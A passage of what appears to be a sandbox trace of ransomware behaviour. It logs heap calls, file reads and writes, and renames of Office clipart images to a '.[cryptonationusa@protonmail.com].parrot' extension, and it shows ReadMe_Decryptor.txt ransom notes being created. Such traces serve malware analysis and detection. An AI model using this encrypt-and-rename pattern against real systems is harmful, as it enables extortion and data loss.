0x60b9c0 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0149.806] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0149.806] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0149.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0149.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0149.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0149.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6a9250 [0149.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0149.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3160050 [0149.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0149.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6a9250 [0149.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0149.807] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3160050 [0149.807] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0149.807] WriteFile (in: hFile=0x288, lpBuffer=0x3160060*, nNumberOfBytesToWrite=0x9bd8, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x3160060*, lpNumberOfBytesWritten=0x18eed4*=0x9bd8, lpOverlapped=0x0) returned 1 [0149.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0149.809] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9bd6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.809] CloseHandle (hObject=0x288) returned 1 [0149.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0149.809] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0149.809] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0149.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01931J.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01931j.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0149.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0149.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0149.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0149.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0149.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0149.811] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0149.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0149.812] GetFileType (hFile=0x288) returned 0x1 [0149.812] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0149.886] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4636, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.886] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.886] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0149.890] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.890] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x451e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x451e, lpOverlapped=0x0) returned 1 [0149.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0149.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0149.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0149.890] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0149.891] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0149.891] GetLastError () returned 0x0 [0149.898] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.898] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0149.898] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0149.899] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0149.899] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0149.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0149.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0149.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0149.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0149.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0149.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0149.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0149.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0149.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0149.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0149.900] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0149.900] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6a9250 [0149.901] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0149.901] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3168090 [0149.901] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0149.901] WriteFile (in: hFile=0x288, lpBuffer=0x31680a0*, nNumberOfBytesToWrite=0x4638, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31680a0*, lpNumberOfBytesWritten=0x18eed4*=0x4638, lpOverlapped=0x0) returned 1 [0149.903] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3168090 | out: hHeap=0x5b0000) returned 1 [0149.904] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4636, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0149.904] CloseHandle (hObject=0x288) returned 1 [0149.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0149.904] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0149.904] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0149.904] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0149.905] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0149.905] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0149.905] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0149.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0149.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0149.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0149.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0149.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0149.907] GetFileType (hFile=0x288) returned 0x1 [0149.907] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0149.918] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7df8, nNumberOfBytesToLockHigh=0x0) returned 1 [0149.918] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.918] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0150.054] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.061] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ce0, lpOverlapped=0x0) returned 1 [0150.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0150.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0150.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0150.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0150.067] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d8fd0 [0150.067] GetLastError () returned 0x0 [0150.067] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x60ede8 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0150.068] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0150.068] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a3268 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d2850 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x69e650 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x6a9250 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3168090 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6a9250 [0150.069] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3168090 | out: hHeap=0x5b0000) returned 1 [0150.069] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2210048 [0150.071] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0150.071] WriteFile (in: hFile=0x288, lpBuffer=0x2210060*, nNumberOfBytesToWrite=0x7e08, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2210060*, lpNumberOfBytesWritten=0x18eed4*=0x7e08, lpOverlapped=0x0) returned 1 [0150.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0150.073] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7df8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0150.073] CloseHandle (hObject=0x288) returned 1 [0150.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0150.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x6a7268 [0150.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0150.073] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0150.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0150.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0150.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0150.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df00 [0150.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0150.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0150.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0150.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0150.078] GetFileType (hFile=0x288) returned 0x1 [0150.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0150.090] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ed0, nNumberOfBytesToLockHigh=0x0) returned 1 [0150.091] SetFilePointerEx (in: 